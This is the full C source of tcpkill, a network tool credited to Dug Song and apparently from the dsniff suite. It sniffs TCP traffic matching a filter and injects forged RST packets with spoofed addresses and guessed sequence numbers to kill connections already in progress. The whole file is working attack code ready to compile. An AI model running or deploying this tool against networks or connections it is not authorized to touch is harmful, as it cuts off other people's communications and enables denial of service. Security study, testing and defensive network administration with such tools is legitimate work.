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/*
* tcpkill.c
*
* Kill TCP connections already in progress.
*
* Copyright (c) 2000 Dug Song <dugsong@monkey.org>
*
* $Id: tcpkill.c,v 1.17 2001/03/17 08:10:43 dugsong Exp $
*/
#include "config.h"
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>
#include "pcaputil.h"
#include "version.h"
#define DEFAULT_SEVERITY 3
int Opt_severity = DEFAULT_SEVERITY;
int pcap_off;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
"Usage: tcpkill [-i interface] [-1..9] expression\n");
exit(1);
}
static void
tcp_kill_cb(u_char *user, const struct pcap_pkthdr *pcap, const u_char *pkt)
{
struct libnet_ipv4_hdr *ip;
struct libnet_tcp_hdr *tcp;
u_char ctext[64];
u_int32_t seq, win;
int i, len;
libnet_t *l;
l = (libnet_t *)user;
pkt += pcap_off;
len = pcap->caplen - pcap_off;
ip = (struct libnet_ipv4_hdr *)pkt;
if (ip->ip_p != IPPROTO_TCP)
return;
tcp = (struct libnet_tcp_hdr *)(pkt + (ip->ip_hl << 2));
if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST))
return;
seq = ntohl(tcp->th_ack);
win = ntohs(tcp->th_win);
snprintf(ctext, sizeof(ctext), "%s:%d > %s:%d:",
libnet_addr2name4(ip->ip_src.s_addr, LIBNET_DONT_RESOLVE),
ntohs(tcp->th_sport),
libnet_addr2name4(ip->ip_dst.s_addr, LIBNET_DONT_RESOLVE),
ntohs(tcp->th_dport));
for (i = 0; i < Opt_severity; i++) {
seq += (i * win);
libnet_clear_packet(l);
libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport),
seq, 0, TH_RST, 0, 0, 0, LIBNET_TCP_H,
NULL, 0, l, 0);
libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H, 0,
libnet_get_prand(LIBNET_PRu16), 0, 64,
IPPROTO_TCP, 0, ip->ip_dst.s_addr,
ip->ip_src.s_addr, NULL, 0, l, 0);
if (libnet_write(l) < 0)
warn("write");
fprintf(stderr, "%s R %lu:%lu(0) win 0\n", ctext, seq, seq);
}
}
int
main(int argc, char *argv[])
{
extern char *optarg;
extern int optind;
int c;
char *p, *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
libnet_t *l;
pcap_t *pd;
intf = NULL;
while ((c = getopt(argc, argv, "i:123456789h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
break;
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
p = argv[optind - 1];
if (p[0] == '-' && p[1] == c && p[2] == '\0')
Opt_severity = atoi(++p);
else
Opt_severity = atoi(argv[optind] + 1);
break;
default:
usage();
break;
}
}
if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);
argc -= optind;
argv += optind;
if (argc == 0)
usage();
filter = copy_argv(argv);
if ((pd = pcap_init(intf, filter, 64)) == NULL)
errx(1, "couldn't initialize sniffing");
if ((pcap_off = pcap_dloff(pd)) < 0)
errx(1, "couldn't determine link layer offset");
if ((l = libnet_init(LIBNET_RAW4, intf, libnet_ebuf)) == NULL)
errx(1, "couldn't initialize sending");
libnet_seed_prand(l);
warnx("listening on %s [%s]", intf, filter);
pcap_loop(pd, -1, tcp_kill_cb, (u_char *)l);
/* NOTREACHED */
exit(0);
}
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